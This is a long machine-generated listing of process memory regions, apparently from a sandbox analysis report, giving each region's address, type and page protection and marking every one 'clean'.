222F000
unkown
page read and write
 clean
850000
unkown
page readonly
 clean
10000000
unkown image
page readonly
 clean
9D0000
heap private
page read and write
 clean
3612000
unkown
page read and write
 clean
130000
unkown
page readonly
 clean
2D0000
heap default
page read and write
 clean
30DE000
unkown
page read and write
 clean
2EA000
stack
page read and write
 clean
470000
unkown
page readonly
 clean
7FF001F0000
unkown
page execute and read and write
 clean
340000
unkown
page readonly
 clean
250000
heap default
page read and write
 clean
29D0000
unkown
page read and write
 clean
22B000
unkown
page read and write
 clean
330000
heap private
page read and write
 clean
545000
unkown
page read and write
 clean
630000
heap default
page read and write
 clean
1B5000
unkown
page read and write | page guard
 clean
260000
unkown
page readonly
 clean
90000
unkown
page readonly
 clean
28BD000
unkown
page read and write
 clean
950000
heap private
page read and write
 clean
10000000
unkown image
page readonly
 clean
28F0000
unkown
page readonly
 clean
1C70000
heap private
page read and write
 clean
7FF00100000
unkown
page read and write
 clean
2E0000
unkown
page readonly
 clean
5C0000
unkown
page readonly
 clean
242F000
unkown
page read and write
 clean
BA1000
heap private
page read and write
 clean
11A000
stack
page read and write
 clean
922000
heap private
page read and write
 clean
639000
heap default
page read and write
 clean
2A0000
unkown
page read and write
 clean
890000
heap private
page read and write
 clean
89C000
unkown
page read and write
 clean
524000
heap default
page read and write
 clean
1B8D0000
unkown
page write copy
 clean
1C79E000
unkown
page read and write
 clean
2BC0000
unkown
page write copy
 clean
2774000
heap private
page read and write
 clean
950000
heap private
page read and write
 clean
470000
heap default
page read and write
 clean
2540000
unkown
page readonly
 clean
288F000
stack
page read and write
 clean
2680000
unkown
page read and write
 clean
2540000
heap private
page read and write
 clean
660000
heap private
page read and write
 clean
217000
heap private
page read and write
 clean
5C6000
heap default
page read and write
 clean
23DE000
stack
page read and write
 clean
23C000
unkown
page read and write
 clean
848000
heap private
page read and write
 clean
2680000
unkown
page read and write
 clean
BB0000
heap private
page read and write
 clean
1D80000
unkown
page readonly
 clean
810000
heap private
page read and write
 clean
EA000
stack
page read and write
 clean
27C0000
unkown
page readonly
 clean
1C600000
heap private
page read and write
 clean
39C000
unkown
page read and write
 clean
280000
unkown
page readonly
 clean
2200000
unkown
page read and write
 clean
2690000
unkown
page readonly
 clean
962000
heap private
page read and write
 clean
1EC000
unkown
page read and write
 clean
3B28000
unkown
page read and write
 clean
2CBE000
unkown
page read and write
 clean
3A92000
unkown
page read and write
 clean
9E0000
unkown
page readonly
 clean
360C000
unkown
page read and write
 clean
27C0000
unkown
page readonly
 clean
23A4000
heap private
page read and write
 clean
3BD000
heap default
page read and write
 clean
2350000
heap private
page read and write
 clean
2C30000
unkown
page readonly
 clean
2D70000
unkown
page readonly
 clean
10042000
unkown image
page readonly
 clean
2680000
unkown
page read and write
 clean
1DB000
unkown
page read and write
 clean
140000
unkown
page read and write
 clean
812000
heap private
page read and write
 clean
7FF000F2000
unkown
page execute and read and write
 clean
10042000
unkown image
page readonly
 clean
694000
heap default
page read and write
 clean
331E000
unkown
page read and write
 clean
31E0000
unkown
page write copy
 clean
3316000
unkown
page read and write
 clean
7EFDF000
unkown
page read and write
 clean
8C0000
unkown
page read and write
 clean
500000
unkown
page readonly
 clean
BA8000
heap private
page read and write
 clean
8F0000
unkown
page readonly
 clean
7FF000F0000
unkown
page read and write
 clean
430000
heap private
page read and write
 clean
3A4000
heap default
page read and write
 clean
250E000
unkown
page read and write
 clean
100000
unkown
page read and write
 clean
3E0000
heap private
page read and write
 clean
B50000
heap private
page read and write
 clean
180000
heap private
page read and write
 clean
8B0000
unkown
page readonly
 clean
677000
heap default
page read and write
 clean
6DF000
heap default
page read and write
 clean
468000
heap default
page read and write
 clean
2870000
unkown
page readonly
 clean
12E11000
unkown
page read and write
 clean
33E000
unkown
page read and write
 clean
188000
heap private
page read and write
 clean
710000
unkown
page readonly
 clean
2680000
unkown
page read and write
 clean
2F45000
unkown
page read and write
 clean
21A7000
unkown
page readonly
 clean
35FC000
unkown
page read and write
 clean
1C0000
unkown
page readonly
 clean
370000
unkown
page read and write
 clean
22E000
unkown
page read and write
 clean
2FE6000
unkown
page read and write
 clean
10001000
unkown image
page execute read
 clean
24D0000
unkown
page readonly
 clean
30AD000
unkown
page read and write
 clean
28EF000
stack
page read and write
 clean
7EFDF000
unkown
page read and write
 clean
B0000
unkown
page readonly
 clean
2DFE000
unkown
page read and write
 clean
3490000
heap private
page read and write
 clean
303C000
unkown
page read and write
 clean
37F000
unkown
page read and write
 clean
5C0000
heap default
page read and write
 clean
1CBF3000
heap private
page read and write
 clean
2F71000
unkown
page read and write
 clean
16B000
unkown
page read and write
 clean
364B000
unkown
page read and write
 clean
AD0000
heap private
page read and write
 clean
4FF000
heap default
page read and write
 clean
33C000
unkown
page read and write
 clean
363B000
unkown
page read and write
 clean
7D0000
unkown
page readonly
 clean
90000
unkown
page read and write
 clean
2200000
unkown
page read and write
 clean
5C7000
heap default
page read and write
 clean
54A000
unkown
page read and write
 clean
23AE000
unkown
page read and write
 clean
440000
unkown
page readonly
 clean
900000
heap private
page read and write
 clean
2D45000
unkown
page read and write
 clean
11B000
stack
page read and write
 clean
2F80000
unkown
page read and write
 clean
32EE000
stack
page read and write
 clean
5A4000
heap default
page read and write
 clean
31EE000
unkown
page read and write
 clean
2C00000
unkown
page readonly
 clean
760000
unkown
page readonly
 clean
28AE000
stack
page read and write
 clean
364E000
unkown
page read and write
 clean
10000000
unkown image
page readonly
 clean
35C4000
unkown
page read and write
 clean
10000000
unkown image
page readonly
 clean
3654000
unkown
page read and write
 clean
20000
unkown
page readonly
 clean
1004D000
unkown image
page read and write
 clean
1CE000
unkown
page read and write
 clean
6C0000
unkown
page read and write
 clean
BB0000
heap private
page read and write
 clean
1FC0000
unkown
page readonly
 clean
315E000
stack
page read and write
 clean
B80000
heap private
page read and write
 clean
5E4000
heap default
page read and write
 clean
10000000
unkown image
page readonly
 clean
2A0000
unkown
page read and write
 clean
230000
unkown
page readonly
 clean
35FF000
unkown
page read and write
 clean
1CC000
unkown
page read and write
 clean
2B90000
unkown
page readonly
 clean
C0000
unkown
page readonly
 clean
3B0000
unkown
page readonly
 clean
3010000
unkown
page read and write
 clean
434000
heap private
page read and write
 clean
3E9000
heap default
page read and write
 clean
513000
heap default
page read and write
 clean
1CBE0000
heap private
page read and write
 clean
1BE000
unkown
page read and write
 clean
7EFDF000
unkown
page read and write
 clean
800000
heap private
page read and write
 clean
1C0000
unkown
page read and write
 clean
20B000
unkown
page read and write
 clean
10001000
unkown image
page execute read
 clean
2B8D000
stack
page read and write
 clean
277000
heap default
page read and write
 clean
24BC000
unkown
page read and write
 clean
CB000
unkown
page read and write
 clean
579000
heap default
page read and write
 clean
2D36000
unkown
page read and write
 clean
89E000
unkown
page read and write
 clean
3F5000
heap default
page read and write
 clean
9B000
stack
page read and write
 clean
970000
unkown
page write copy
 clean
3E9000
heap default
page read and write
 clean
2140000
unkown
page readonly
 clean
26BE000
unkown
page read and write
 clean
730000
unkown
page readonly
 clean
3140000
unkown
page readonly
 clean
2570000
heap private
page read and write
 clean
6BF000
heap default
page read and write
 clean
100000
unkown
page read and write
 clean
1BC000
unkown
page read and write
 clean
8F0000
heap private
page read and write
 clean
6AD000
heap default
page read and write
 clean
2E0000
unkown
page read and write
 clean
271E000
unkown
page read and write
 clean
45A000
heap default
page read and write
 clean
24F0000
unkown
page readonly
 clean
1CC000
unkown
page read and write
 clean
120000
unkown
page readonly
 clean
2AC0000
unkown
page readonly
 clean
330000
heap default
page read and write
 clean
22C000
unkown
page read and write
 clean
315E000
stack
page read and write
 clean
7F4000
heap private
page read and write
 clean
1BAF0000
heap private
page read and write
 clean
830000
unkown
page read and write
 clean
334000
heap private
page read and write
 clean
7FF00190000
unkown
page execute and read and write
 clean
20000
unkown
page readonly
 clean
3B4000
heap default
page read and write
 clean
410000
unkown
page readonly
 clean
23DE000
unkown
page read and write
 clean
A0E000
unkown
page read and write
 clean
3635000
unkown
page read and write
 clean
7FF001C0000
unkown
page read and write
 clean
380000
heap default
page read and write
 clean
3B2000
heap private
page read and write
 clean
327E000
stack
page read and write
 clean
C0000
unkown
page readonly
 clean
240000
heap private
page read and write
 clean
7B0000
heap private
page read and write
 clean
3500000
unkown
page read and write
 clean
10042000
unkown image
page readonly
 clean
532000
unkown
page read and write
 clean
350000
unkown
page readonly
 clean
340000
unkown
page readonly
 clean
1D0000
unkown
page read and write
 clean
960000
heap private
page read and write
 clean
10001000
unkown image
page execute read
 clean
31FE000
unkown
page read and write
 clean
2950000
unkown
page readonly
 clean
210000
unkown
page read and write
 clean
20000
unkown
page readonly
 clean
394000
heap private
page read and write
 clean
9D0000
heap private
page read and write
 clean
28F000
heap default
page read and write
 clean
24B4000
heap private
page read and write
 clean
30E0000
heap private
page read and write
 clean
242F000
unkown
page read and write
 clean
390000
heap private
page read and write
 clean
31D2000
unkown
page read and write
 clean
160000
unkown
page readonly
 clean
944000
heap private
page read and write
 clean
313D000
stack
page read and write
 clean
1FC0000
unkown
page readonly
 clean
370000
unkown
page readonly
 clean
958000
heap private
page read and write
 clean
10042000
unkown image
page readonly
 clean
334000
heap default
page read and write
 clean
2400000
heap private
page read and write
 clean
10000000
unkown image
page readonly
 clean
2940000
unkown
page readonly
 clean
490000
unkown
page read and write
 clean
2000000
unkown
page readonly
 clean
7FF002A0000
unkown
page execute and read and write
 clean
9BE000
unkown
page read and write
 clean
1004D000
unkown image
page read and write
 clean
6D0000
unkown
page readonly
 clean
21E000
unkown
page read and write
 clean
1CB000
unkown
page read and write
 clean
10042000
unkown image
page readonly
 clean
31AE000
unkown
page read and write
 clean
940000
unkown
page read and write
 clean
30C3000
unkown
page read and write
 clean
120000
unkown
page readonly
 clean
1004F000
unkown image
page readonly
 clean
200000
unkown
page read and write
 clean
3D4000
heap default
page read and write
 clean
296E000
unkown
page read and write
 clean
8B0000
unkown
page readonly
 clean
9A0000
heap private
page read and write
 clean
720000
heap private
page read and write
 clean
B4E000
unkown
page read and write
 clean
F0000
unkown
page write copy
 clean
60D000
unkown
page read and write
 clean
542000
unkown
page read and write
 clean
29F0000
heap private
page read and write
 clean
6C0000
unkown
page readonly
 clean
2F74000
unkown
page read and write
 clean
274F000
stack
page read and write
 clean
7E4000
heap private
page read and write
 clean
BAE000
stack
page read and write
 clean
3AF000
unkown
page read and write
 clean
898000
heap private
page read and write
 clean
32E000
stack
page read and write
 clean
545000
unkown
page read and write
 clean
2F64000
unkown
page read and write
 clean
8C4000
heap private
page read and write
 clean
1EE0000
unkown
page write copy
 clean
840000
unkown
page readonly
 clean
390000
heap default
page read and write
 clean
4ED000
heap default
page read and write
 clean
7E0000
unkown
page readonly
 clean
2007000
unkown
page readonly
 clean
7A0000
unkown
page readonly
 clean
20000
unkown
page readonly
 clean
7E0000
heap private
page read and write
 clean
1E60000
heap private
page read and write
 clean
21E000
unkown
page read and write
 clean
1004D000
unkown image
page read and write
 clean
2680000
unkown
page read and write
 clean
B0000
unkown
page readonly
 clean
550000
unkown
page readonly
 clean
264000
heap default
page read and write
 clean
3628000
unkown
page read and write
 clean
336000
unkown
page read and write
 clean
310000
unkown
page readonly
 clean
311E000
unkown
page read and write
 clean
7FF00207000
unkown
page read and write
 clean
60000
unkown
page readonly
 clean
419000
heap default
page read and write
 clean
1B51E000
unkown
page read and write
 clean
560000
unkown
page read and write
 clean
380000
unkown
page readonly
 clean
5B0000
unkown
page readonly
 clean
10000000
unkown image
page readonly
 clean
23BE000
unkown
page read and write
 clean
2680000
unkown
page read and write
 clean
3F0000
heap default
page read and write
 clean
347000
heap default
page read and write
 clean
1F0000
unkown
page read and write
 clean
2680000
unkown
page read and write
 clean
1004D000
unkown image
page read and write
 clean
3CF000
heap default
page read and write
 clean
120000
unkown
page readonly
 clean
120000
unkown
page readonly
 clean
379000
heap default
page read and write
 clean
A20000
unkown
page readonly
 clean
1B6000
unkown
page read and write
 clean
34A0000
unkown
page readonly
 clean
23D0000
heap private
page read and write
 clean
1C60000
unkown
page readonly
 clean
280000
unkown
page readonly
 clean
33E000
unkown
page read and write
 clean
1004D000
unkown image
page read and write
 clean
1B56C000
unkown
page read and write
 clean
2C0000
unkown
page readonly
 clean
30EE000
unkown
page read and write
 clean
1FB0000
unkown
page readonly
 clean
20000
unkown
page readonly
 clean
3641000
unkown
page read and write
 clean
3D0000
unkown
page readonly
 clean
221D000
unkown
page read and write
 clean
325E000
stack
page read and write
 clean
55A000
unkown
page read and write
 clean
DB000
unkown
page read and write
 clean
7A0000
unkown
page readonly
 clean
2A60000
heap private
page execute and read and write
 clean
3040000
unkown
page write copy
 clean
10001000
unkown image
page execute read
 clean
28D0000
unkown
page readonly
 clean
7FF00230000
unkown
page read and write
 clean
FB000
unkown
page read and write
 clean
2BD000
heap default
page read and write
 clean
537000
heap default
page read and write
 clean
7FF00105000
unkown
page read and write
 clean
294000
heap private
page read and write
 clean
7F0000
heap private
page read and write
 clean
2390000
unkown
page readonly
 clean
317000
heap default
page read and write
 clean
60F000
heap default
page read and write
 clean
2C6E000
stack
page read and write
 clean
24D1000
heap private
page read and write
 clean
1004F000
unkown image
page readonly
 clean
2244000
unkown
page read and write
 clean
8A0000
heap private
page read and write
 clean
8A0000
heap private
page read and write
 clean
305A000
unkown
page read and write
 clean
27B0000
unkown
page readonly
 clean
200000
heap default
page read and write
 clean
7FF00220000
unkown
page execute and read and write
 clean
2680000
unkown
page read and write
 clean
29DA000
unkown
page read and write
 clean
10001000
unkown image
page execute read
 clean
7FF0010A000
unkown
page execute and read and write
 clean
9C0000
unkown
page readonly
 clean
190000
unkown
page readonly
 clean
307C000
unkown
page read and write
 clean
10000000
unkown image
page readonly
 clean
7EFDF000
unkown
page read and write
 clean
7EFDF000
unkown
page read and write
 clean
30B6000
unkown
page read and write
 clean
1EE000
unkown
page read and write
 clean
2580000
unkown
page readonly
 clean
2FE000
unkown
page read and write
 clean
5F6000
heap default
page read and write
 clean
10000000
unkown image
page readonly
 clean
8E0000
unkown
page readonly
 clean
2327000
unkown
page readonly
 clean
340000
unkown
page readonly
 clean
AA000
stack
page read and write
 clean
24CE000
unkown
page read and write
 clean
10000000
unkown image
page readonly
 clean
E0000
unkown
page read and write
 clean
880000
heap private
page read and write
 clean
20000
unkown
page readonly
 clean
86F000
stack
page read and write
 clean
4B0000
heap default
page read and write
 clean
1E20000
unkown
page readonly
 clean
240000
unkown
page readonly
 clean
840000
heap private
page read and write
 clean
2680000
unkown
page read and write
 clean
255C000
unkown
page read and write
 clean
170000
unkown
page readonly
 clean
25BE000
stack
page read and write
 clean
55A000
unkown
page read and write
 clean
170000
unkown
page readonly
 clean
587000
heap default
page read and write
 clean
4E7000
heap default
page read and write
 clean
360F000
unkown
page read and write
 clean
7EFDF000
unkown
page read and write
 clean
3B7000
heap default
page read and write
 clean
347000
heap default
page read and write
 clean
247F000
stack
page read and write
 clean
240000
heap default
page read and write
 clean
380000
unkown
page readonly
 clean
261C000
unkown
page read and write
 clean
600000
unkown
page readonly
 clean
7FF002B0000
unkown
page execute and read and write
 clean
7FF00260000
unkown
page execute and read and write
 clean
1004D000
unkown image
page read and write
 clean
7FF00210000
unkown
page read and write
 clean
4E0000
unkown
page readonly
 clean
3236000
unkown
page read and write
 clean
12D01000
unkown
page read and write
 clean
350000
unkown
page readonly
 clean
445000
heap default
page read and write
 clean
25CD000
unkown
page read and write
 clean
2300000
unkown
page readonly
 clean
27A0000
unkown
page readonly
 clean
3060000
unkown
page readonly
 clean
327F000
unkown
page read and write
 clean
2FA8000
unkown
page read and write
 clean
7EFDF000
unkown
page read and write
 clean
21C000
unkown
page read and write
 clean
1004F000
unkown image
page readonly
 clean
10000000
unkown image
page readonly
 clean
3004000
unkown
page read and write
 clean
10000000
unkown image
page readonly
 clean
26C0000
unkown
page readonly
 clean
97F000
stack
page read and write
 clean
7EFDF000
unkown
page read and write
 clean
30C0000
unkown
page write copy
 clean
2421000
heap private
page read and write
 clean
630000
unkown
page readonly
 clean
1E20000
unkown
page readonly
 clean
270000
unkown
page readonly
 clean
3C9000
heap default
page read and write
 clean
3320000
heap private
page read and write
 clean
377000
heap default
page read and write
 clean
515000
unkown
page read and write
 clean
2680000
unkown
page read and write
 clean
F0000
unkown
page write copy
 clean
2680000
unkown
page read and write
 clean
7FF001D0000
unkown
page execute and read and write
 clean
190000
unkown
page read and write
 clean
261D000
stack
page read and write
 clean
36BB000
unkown
page read and write
 clean
3082000
unkown
page read and write
 clean
24CE000
stack
page read and write
 clean
870000
heap private
page read and write
 clean
160000
unkown
page readonly
 clean
562000
unkown
page read and write
 clean
D0000
unkown
page readonly
 clean
2CFE000
unkown
page read and write | page guard
 clean
23A0000
heap private
page read and write
 clean
2DA000
stack
page read and write
 clean
2D65000
unkown
page read and write
 clean
300000
unkown
page readonly
 clean
32EE000
unkown
page read and write
 clean
8B0000
unkown
page write copy
 clean
B84000
heap private
page read and write
 clean
10000000
unkown image
page readonly
 clean
243E000
unkown
page read and write
 clean
2E0000
unkown
page read and write
 clean
10000000
unkown image
page readonly
 clean
9F2000
heap private
page read and write
 clean
29E0000
unkown
page readonly
 clean
170000
heap private
page read and write
 clean
448000
heap private
page read and write
 clean
5C0000
unkown
page readonly
 clean
223F000
unkown
page read and write
 clean
241000
heap private
page read and write
 clean
2A6A000
heap private
page execute and read and write
 clean
2FF0000
unkown
page read and write
 clean
BF0000
heap private
page read and write
 clean
30EF000
unkown
page read and write
 clean
1C82E000
unkown
page read and write
 clean
160000
unkown
page readonly
 clean
92E000
unkown
page read and write
 clean
5F7000
heap default
page read and write
 clean
1E20000
unkown
page readonly
 clean
2680000
unkown
page read and write
 clean
65F000
stack
page read and write
 clean
10000000
unkown image
page readonly
 clean
21E7000
unkown
page readonly
 clean
CA000
stack
page read and write
 clean
507000
heap default
page read and write
 clean
F0000
unkown
page readonly
 clean
1D0000
heap private
page read and write
 clean
2522000
heap private
page read and write
 clean
310000
unkown
page readonly
 clean
1FC0000
unkown
page readonly
 clean
2680000
unkown
page read and write
 clean
21E000
heap default
page read and write
 clean
8C0000
heap private
page read and write
 clean
300000
unkown
page readonly
 clean
A20000
unkown
page read and write
 clean
30AA000
unkown
page read and write
 clean
39E000
heap default
page read and write
 clean
90000
unkown
page readonly
 clean
2EBF000
unkown
page read and write
 clean
256E000
stack
page read and write
 clean
2B20000
unkown
page readonly
 clean
3625000
unkown
page read and write
 clean
2007000
unkown
page readonly
 clean
316000
unkown
page read and write
 clean
180000
unkown
page read and write
 clean
2740000
unkown
page readonly
 clean
10000000
unkown image
page readonly
 clean
801000
heap private
page read and write
 clean
3A4000
heap default
page read and write
 clean
2680000
unkown
page read and write
 clean
1E65000
heap private
page read and write
 clean
2C9E000
stack
page read and write
 clean
2007000
unkown
page readonly
 clean
D0000
unkown
page readonly
 clean
247000
heap default
page read and write
 clean
20000
unkown
page readonly
 clean
20A0000
heap private
page read and write
 clean
250000
heap private
page read and write
 clean
661000
heap default
page read and write
 clean
1A0000
unkown
page read and write
 clean
2E60000
unkown
page readonly
 clean
38E000
unkown
page read and write
 clean
53D000
heap default
page read and write
 clean
440000
unkown
page readonly
 clean
AD4000
heap private
page read and write
 clean
1004F000
unkown image
page readonly
 clean
5FD000
heap default
page read and write
 clean
2FF7000
unkown
page read and write
 clean
2D01000
unkown
page read and write
 clean
423000
heap default
page read and write
 clean
440000
heap private
page read and write
 clean
1A3000
heap default
page read and write
 clean
8A0000
heap private
page read and write
 clean
20000
heap private
page read and write
 clean
2BF0000
unkown
page write copy
 clean
2E6000
heap default
page read and write
 clean
31DE000
unkown
page read and write
 clean
10000000
unkown image
page readonly
 clean
7FF00240000
unkown
page execute and read and write
 clean
28D0000
unkown
page readonly
 clean
7FF00290000
unkown
page execute and read and write
 clean
2C7E000
stack
page read and write
 clean
140000
unkown
page read and write
 clean
7FF00032000
unkown
page execute and read and write
 clean
920000
unkown
page readonly
 clean
31B0000
unkown
page write copy
 clean
23E0000
unkown
page readonly
 clean
2C6D000
stack
page read and write
 clean
235D000
stack
page read and write
 clean
31BD000
stack
page read and write
 clean
2FE2000
unkown
page read and write
 clean
30D6000
unkown
page read and write
 clean
2680000
unkown
page read and write
 clean
7EFDF000
unkown
page read and write
 clean
264000
heap private
page read and write
 clean
32BE000
stack
page read and write
 clean
840000
heap private
page read and write
 clean
7FF00280000
unkown
page read and write
 clean
1004F000
unkown image
page readonly
 clean
2F83000
unkown
page read and write
 clean
2F61000
unkown
page read and write
 clean
AA0000
unkown
page read and write
 clean
100000
unkown
page readonly
 clean
2200000
unkown
page readonly
 clean
3B2000
heap default
page read and write
 clean
5C7000
heap default
page read and write
 clean
2792000
heap private
page read and write
 clean
160000
heap private
page read and write
 clean
130000
unkown
page readonly
 clean
54F000
heap default
page read and write
 clean
9EF000
stack
page read and write
 clean
8A1000
heap private
page read and write
 clean
2930000
unkown
page readonly
 clean
120000
heap private
page read and write
 clean
23E0000
unkown
page readonly
 clean
294000
heap private
page read and write
 clean
10042000
unkown image
page readonly
 clean
37F000
heap default
page read and write
 clean
3D0000
unkown
page readonly
 clean
240000
unkown
page read and write
 clean
387000
heap default
page read and write
 clean
2371000
heap private
page read and write
 clean
3455000
unkown
page read and write
 clean
1B563000
unkown
page read and write
 clean
31FE000
stack
page read and write
 clean
1A8000
heap private
page read and write
 clean
329E000
unkown
page read and write
 clean
10042000
unkown image
page readonly
 clean
30BE000
unkown
page read and write
 clean
207000
heap default
page read and write
 clean
3E7000
heap default
page read and write
 clean
9D4000
heap private
page read and write
 clean
32BD000
unkown
page read and write
 clean
870000
unkown
page readonly
 clean
3B0000
heap default
page read and write
 clean
EB000
unkown
page read and write
 clean
312D000
stack
page read and write
 clean
904000
heap private
page read and write
 clean
5E4000
heap default
page read and write
 clean
9AC000
unkown
page read and write
 clean
3AF000
heap default
page read and write
 clean
4F0000
unkown
page readonly
 clean
9A0000
unkown
page readonly
 clean
20000
unkown
page readonly
 clean
220000
unkown
page read and write
 clean
431000
heap default
page read and write
 clean
23E000
unkown
page read and write
 clean
2F55000
unkown
page read and write
 clean
1B990000
unkown
page read and write
 clean
29BD000
unkown
page read and write
 clean
3ED000
heap default
page read and write
 clean
2AE0000
unkown
page read and write
 clean
2200000
unkown
page readonly
 clean
90000
unkown
page read and write
 clean
12F50000
unkown
page read and write
 clean
2CA0000
unkown
page readonly
 clean
8D0000
heap private
page read and write
 clean
A20000
unkown
page read and write
 clean
100000
unkown
page readonly
 clean
140000
unkown
page readonly
 clean
3024000
unkown
page read and write
 clean
31EF000
unkown
page read and write
 clean
2390000
unkown
page read and write
 clean
340000
unkown
page readonly
 clean
2BEC000
unkown
page read and write
 clean
90000
unkown
page readonly
 clean
2722000
heap private
page read and write
 clean
4D4000
heap default
page read and write
 clean
452000
heap default
page read and write
 clean
1004F000
unkown image
page readonly
 clean
29D5000
unkown
page read and write
 clean
2960000
unkown
page readonly
 clean
310000
heap private
page read and write
 clean
3AB000
heap default
page read and write
 clean
B58000
heap private
page read and write
 clean
7FFFFF10000
unkown
page execute and read and write
 clean
190000
heap default
page read and write
 clean
362B000
unkown
page read and write
 clean
12D2C000
unkown
page read and write
 clean
310000
heap default
page read and write
 clean
2354000
heap private
page read and write
 clean
2C90000
unkown
page readonly
 clean
3B34000
unkown
page read and write
 clean
282000
heap private
page read and write
 clean
1E20000
unkown
page readonly
 clean
29F4000
heap private
page read and write
 clean
4B0000
unkown
page readonly
 clean
AF1000
heap private
page read and write
 clean
170000
unkown
page readonly
 clean
244E000
stack
page read and write
 clean
530000
unkown
page readonly
 clean
12D05000
unkown
page read and write
 clean
10042000
unkown image
page readonly
 clean
3BF000
heap default
page read and write
 clean
3A9B000
unkown
page read and write
 clean
570000
unkown
page readonly
 clean
610000
unkown
page readonly
 clean
7FF00270000
unkown
page execute and read and write
 clean
2F67000
unkown
page read and write
 clean
29A000
stack
page read and write
 clean
970000
unkown
page readonly
 clean
32D8000
unkown
page read and write
 clean
930000
unkown
page readonly
 clean
2770000
heap private
page read and write
 clean
266E000
stack
page read and write
 clean
2B1000
heap private
page read and write
 clean
1CB6000
unkown
page read and write
 clean
10001000
unkown image
page execute read
 clean
39C000
heap default
page read and write
 clean
B6F000
unkown
page read and write
 clean
100000
unkown
page read and write
 clean
2AA0000
unkown
page readonly
 clean
294F000
stack
page read and write
 clean
33E000
unkown
page read and write
 clean
2680000
unkown
page read and write
 clean
2FEA000
unkown
page read and write
 clean
325E000
stack
page read and write
 clean
20000
unkown
page readonly
 clean
290000
heap private
page read and write
 clean
60F000
heap default
page read and write
 clean
36D000
heap default
page read and write
 clean
96E000
unkown
page read and write
 clean
3D5000
heap default
page read and write
 clean
260000
heap private
page read and write
 clean
1C97E000
unkown
page read and write
 clean
3638000
unkown
page read and write
 clean
1004F000
unkown image
page readonly
 clean
516000
unkown
page read and write
 clean
30F3000
unkown
page read and write
 clean
40F000
stack
page read and write
 clean
50B000
heap default
page read and write
 clean
5A0000
unkown
page readonly
 clean
2B90000
unkown
page readonly
 clean
2680000
unkown
page read and write
 clean
249C000
unkown
page read and write
 clean
2007000
unkown
page readonly
 clean
D0000
unkown
page readonly
 clean
5B0000
unkown
page readonly
 clean
790000
unkown
page readonly
 clean
10000000
unkown image
page readonly
 clean
30AE000
unkown
page read and write
 clean
770000
unkown
page readonly
 clean
7FF001E0000
unkown
page read and write
 clean
5CE000
heap default
page read and write
 clean
363E000
unkown
page read and write
 clean
53B000
unkown
page read and write
 clean
2C8E000
stack
page read and write
 clean
1E7000
heap default
page read and write
 clean
2504000
heap private
page read and write
 clean
7EFDF000
unkown
page read and write
 clean
340000
unkown
page readonly
 clean
A70000
unkown
page write copy
 clean
450000
heap private
page read and write
 clean
330000
unkown
page readonly
 clean
880000
unkown
page readonly
 clean
55A000
unkown
page read and write
 clean
3070000
unkown
page read and write
 clean
D0000
unkown
page readonly
 clean
2FC000
unkown
page read and write
 clean
10001000
unkown image
page execute read
 clean
300000
unkown
page read and write
 clean
B0000
unkown
page readonly
 clean
2770000
unkown
page read and write
 clean
260C000
unkown
page read and write
 clean
421000
heap default
page read and write
 clean
3B30000
unkown
page read and write
 clean
970000
heap private
page read and write
 clean
3DA000
heap default
page read and write
 clean
2A0000
heap default
page read and write
 clean
318E000
unkown
page read and write
 clean
540000
unkown
page read and write
 clean
100000
unkown
page read and write
 clean
10000000
unkown image
page readonly
 clean
3051000
unkown
page read and write
 clean
545000
unkown
page read and write
 clean
2720000
unkown
page readonly
 clean
302D000
unkown
page read and write
 clean
3090000
unkown
page read and write
 clean
A20000
unkown
page read and write
 clean
480000
unkown
page readonly
 clean
2770000
unkown
page readonly
 clean
20000
heap private
page read and write
 clean
31D6000
unkown
page read and write
 clean
3B0000
unkown
page readonly
 clean
3014000
unkown
page read and write
 clean
530000
unkown
page readonly
 clean
90000
unkown
page readonly
 clean
2A20000
unkown
page read and write
 clean
3280000
unkown
page readonly
 clean
33CE000
unkown
page read and write
 clean
9EE000
unkown
page read and write
 clean
2680000
unkown
page read and write
 clean
560000
unkown
page read and write
 clean
370000
heap private
page read and write
 clean
2727000
unkown
page readonly
 clean
272C000
unkown
page readonly
 clean
2C20000
unkown
page readonly
 clean
70000
unkown
page read and write
 clean
27B0000
unkown
page read and write
 clean
23CE000
unkown
page read and write
 clean
8C0000
heap private
page read and write
 clean
BA0000
heap private
page read and write
 clean
232F000
stack
page read and write
 clean
29B4000
unkown
page read and write
 clean
85E000
unkown
page read and write
 clean
7FF001A0000
unkown
page read and write
 clean
2680000
unkown
page read and write
 clean
1FB0000
unkown
page readonly
 clean
A0E000
unkown
page read and write
 clean
3D7000
heap default
page read and write
 clean
1C80000
unkown
page read and write
 clean
20000
unkown
page readonly
 clean
2704000
heap private
page read and write
 clean
1FB0000
unkown
page readonly
 clean
7FF00040000
unkown
page read and write
 clean
3A0000
unkown
page readonly
 clean
392000
heap private
page read and write
 clean
42A000
heap default
page read and write
 clean
1004F000
unkown image
page readonly
 clean
28CF000
stack
page read and write
 clean
740000
heap private
page read and write
 clean
10000000
unkown image
page readonly
 clean
8E1000
heap private
page read and write
 clean
4F0000
unkown
page readonly
 clean
1C680000
heap private
page read and write
 clean
58D000
heap default
page read and write
 clean
3094000
unkown
page read and write
 clean
320000
unkown
page read and write
 clean
730000
unkown
page readonly
 clean
970000
heap private
page read and write
 clean
22E0000
unkown
page read and write
 clean
10001000
unkown image
page execute read
 clean
1AD60000
unkown
page read and write
 clean
337000
heap default
page read and write
 clean
23E000
heap default
page read and write
 clean
1004D000
unkown image
page read and write
 clean
6A7000
heap default
page read and write
 clean
7FF0003A000
unkown
page execute and read and write
 clean
9C0000
unkown
page readonly
 clean
9EE000
unkown
page read and write
 clean
1B0000
unkown
page readonly
 clean
5FD000
heap default
page read and write
 clean
290000
heap private
page read and write
 clean
750000
unkown
page readonly
 clean
5F7000
heap default
page read and write
 clean
27D000
heap default
page read and write
 clean
410000
heap default
page read and write
 clean
270E000
stack
page read and write
 clean
248D000
stack
page read and write
 clean
305E000
unkown
page read and write
 clean
3622000
unkown
page read and write
 clean
100000
unkown
page read and write
 clean
3FF000
heap default
page read and write
 clean
10042000
unkown image
page readonly
 clean
31DE000
stack
page read and write
 clean
30F0000
unkown
page write copy
 clean
190000
unkown
page read and write
 clean
1A0000
heap private
page read and write
 clean
34D000
heap default
page read and write
 clean
30A4000
unkown
page read and write
 clean
2F9D000
unkown
page read and write
 clean
D0000
unkown
page readonly
 clean
550000
heap default
page read and write
 clean
23E0000
unkown
page readonly
 clean
140000
unkown
page read and write
 clean
720000
heap default
page read and write
 clean
2A20000
unkown
page read and write
 clean
27FC000
unkown
page read and write
 clean
2700000
heap private
page read and write
 clean
314000
heap private
page read and write
 clean
94E000
stack
page read and write
 clean
3AB000
unkown
page read and write
 clean
